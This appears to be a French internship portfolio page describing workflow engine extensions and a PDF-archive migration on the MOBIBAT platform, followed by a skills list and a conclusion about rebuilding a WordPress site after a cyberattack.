Objectif : garder une architecture unique pour un comportement prévisible, plus simple à maintenir et à déboguer.

Présentation de MOBIBAT et des modules

MOBIBAT est la plateforme métier utilisée pendant le stage pour piloter les flux opérationnels (RH, terrain, conformité et automatisations workflow).

Dans le cadre de cette mission, j'ai travaillé avec trois modules principaux :

  • ModulRH : gestion des salariés, absences et suivi administratif RH
  • Mobibat Amiante : gestion réglementaire des chantiers amiante et traçabilité documentaire
  • Mobibat Compagnon : usage terrain pour pointages, remontées d'informations et suivi d'activité

Cette base fonctionnelle a permis de déployer des workflows cohérents d'un module à l'autre, sans dupliquer la logique technique.

Nouveaux workflows métier

  • Pointages : module tickings avec trigger ticking_validate
  • Notes de service : module service_notes avec trigger service_note_send

Workflow pointages

  1. le trigger est appelé
  2. une tâche est ajoutée dans workflow_tasks
  3. le moteur récupère la tâche
  4. les données métier sont chargées (date, distance, motif, identifiant)
  5. les variables dynamiques sont remplacées
  6. le mail est envoyé via le modèle global

Workflow notes de service

  1. création de la tâche workflow
  2. récupération des données métier
  3. construction de la liste des destinataires
  4. remplacement des variables dans le contenu
  5. envoi du mail
Verification des nouvelles taches workflow et des identifiants metier en base
Contrôles base de données : vérification du transport des identifiants métier (ticking_id, service_note_id) et de la création des tâches dans workflow_tasks.

Intégration front, API et templates

Le front-end a été raccordé pour déclencher les workflows au bon moment avec le bon trigger et le bon identifiant métier.

Chaîne validée de bout en bout :

front → API → création de tâche → exécution workflow → envoi mail

Les templates tickings et service_notes ont été harmonisés avec le modèle absences : texte en phrases, placeholders dynamiques, rendu cohérent et professionnel.

Vérifications réalisées

  • contrôle de la création des tâches dans workflow_tasks
  • contrôle des statuts (à faire → en cours → terminé)
  • contrôle des paramètres reçus et des remplacements
  • contrôle du résultat final d'envoi

Cette mission m'a permis de généraliser un moteur workflow existant à de nouveaux modules sans casser la logique globale.

Mission 8 : Migration et fiabilisation du workflow d'archivage PDF

Objectif

Faire évoluer l'archivage automatique des documents en l'alignant sur la logique moderne workflow_tasks, tout en conservant le comportement métier.

  • passer l'archive dans le bon pipeline technique
  • garder la compatibilité avec l'existant
  • modifier uniquement le dossier de destination final des PDF
  • améliorer le diagnostic en cas d'erreur

Modifications techniques

1) Alignement sur workflow_tasks

  • création des tâches archive dans workflow_tasks
  • utilisation des colonnes workflow_task_* (date_start, date_end, flags, parameters)
  • intégration du type archive dans la boucle d'exécution principale

2) Nouveau chemin de sortie PDF

/data/files/{CUSTOMER_NAME}/archives/tmp/{site_id}-{date}.pdf

Ce changement améliore l'organisation des fichiers et isole clairement les archives temporaires.

3) Lecture API robuste

  • lecture prioritaire via /api/workflow/read sur workflow_tasks
  • fallback maintenu vers workflow_site_tasks pour l'historique legacy

4) Correction SQL JSON

Correction des requêtes JSON_EXTRACT pour supprimer l'erreur Invalid JSON path expression et sécuriser l'extraction dynamique.

Migration du workflow archive vers workflow_tasks et verification du path PDF final
Migration archive : pipeline standardisé sur workflow_tasks, lecture API avec fallback legacy et validation du chemin final PDF.

Vérifications et résultats

  • tâche d'archive bien créée dans workflow_tasks
  • paramètres correctement enregistrés
  • path final écrit dans workflow_task_parameters
  • lecture API validée sur nouveau flux + fallback legacy

Résultat : migration propre, cohérente et maintenable, avec un comportement aligné sur les autres workflows du projet.

Compétences développées

Compétences techniques

  • Analyse forensique : Identification de code malveillant, reconstruction du scénario d'attaque
  • Administration WordPress avancée : Migration de version, gestion de base de données, architecture
  • Cybersécurité : Durcissement de serveur, gestion des droits, protocoles de sécurité
  • Développement web : PHP, CSS, débogage, optimisation de performance
  • Administration système : SSH, permissions Linux, configuration serveur web

Compétences méthodologiques

  • Gestion de crise : Priorisation des urgences, décisions rapides sous pression
  • Rigueur méthodologique : Protocoles de nettoyage, traçabilité des actions
  • Documentation technique : Procédures de restauration, guides d'exploitation
  • Communication client : Explication vulgarisée de problèmes complexes

Compétences comportementales

  • Autonomie : Gestion complète du projet de A à Z
  • Patience : Inspection manuelle de milliers de fichiers
  • Adaptabilité : Reconstruction complète en l'absence de backup exploitable
  • Esprit critique : Détection de patterns suspects dans le code

Conclusion & apprentissages

Cette mission critique m'a confronté à une situation réelle de cyberattaque sur une infrastructure publique. Elle a nécessité une approche méthodique, de la patience, et une capacité à prendre des décisions stratégiques rapidement.

J'ai appris que la sécurité n'est jamais acquise : un site WordPress obsolète est une cible facile pour les attaquants. La mise à jour régulière et le durcissement de la sécurité sont des impératifs absolus.

La reconstruction complète du site m'a permis de maîtriser l'ensemble de la chaîne : forensique, décontamination, migration, développement web, sécurité système. C'est une expérience professionnelle intense et formatrice.

Cette mission conforte mon orientation vers les métiers de la cybersécurité et de l'administration système sécurisée.

Remerciements : Je tiens à remercier l'équipe CEOS-IT pour leur confiance et leur accompagnement sur cette mission stratégique.

Commentaires

Commentaires enregistrés localement et envoyés vers Google Sheets.